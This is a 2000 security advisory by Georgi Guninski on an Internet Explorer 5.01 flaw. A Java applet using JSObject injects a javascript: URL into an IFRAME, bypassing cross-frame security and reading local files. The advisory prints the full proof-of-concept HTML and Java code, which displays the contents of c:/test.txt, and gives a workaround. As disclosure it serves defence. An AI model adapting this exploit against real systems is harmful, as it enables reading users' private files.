IE 5 security vulnerablity - circumventing Cross-frame security policy using Java/JavaScript (and disabling Active Scripting is not that easy)

[joro () NAT BG (Georgi Guninski)]

Georgi Guninski security advisory #10, 2000

IE 5 security vulnerablity - circumventing Cross-frame security policy
using Java/JavaScript (and disabling Active Scripting is not that easy)

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions are
also vulnerable)
allows circumventing "Cross frame security policy" by accessing the DOM
of documents using Java/JavaScript.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.

Details:
Note: This is NOT a bug in the Java language, this is a bug in
Microsoft's implementation of Java in IE.
Usually, IE 5.x does not allow assigning "javascript:" urls to the
location object because this is dangerous.
But this may be circumvented with the help of the interaction between
Java and the DOM/JavaScript.
The Java JSObject allows setting DOM properties from Java and allows
setting a hostile javascript url
to IFRAME's location. This leads to circumventing cross-frame security
policy.

Another issue is that choosing the option "Disable Active Scripting"
from the security menu does not always disable Active Scripting.
If you have Java enabled and Scripting of Java applets enabled, Active
Scripting may be executed.
The problem seems to be the fact that IE always executes Active
Scripting in "My Computer" zone and with Java one may inject javascript:
URLs in IFRAMEs in "My Computer" zone.
So, to really disable Active Scripting disable Active Scripting and
disable Java and/or Scripting of Java applets.

The code is:
------jsinject.html--------------------------------
<IFRAME ID="I1" NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<applet MAYSCRIPT code="jsinject">
<param name="jscode" value="javascript:alert(document.body.innerText)">
</applet>
<A HREF="javascript:document.applets[0].doit()">Read the file</A>
---------------------------------------------------

------jsinject.java--------------------------------
import java.applet.Applet;
import netscape.javascript.*;

public class jsinject extends Applet {

public void doit()
{
  try
   {
    JSObject win = (JSObject) JSObject.getWindow(this);
    JSObject doc = (JSObject) win.getMember("document");
    JSObject I1 =  (JSObject) doc.getMember("I1");
    JSObject loc = (JSObject) I1.getMember("location");
    loc.setMember("href",getParameter("jscode"));
   }
    catch(Exception x){System.out.println(x.toString());}
}
}
---------------------------------------------------

Demonstration is available at: http://www.nat.bg/~joro/jsinject.html

Workaround: Disable Java or disable Scripting of Java applets

Copyright 2000 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro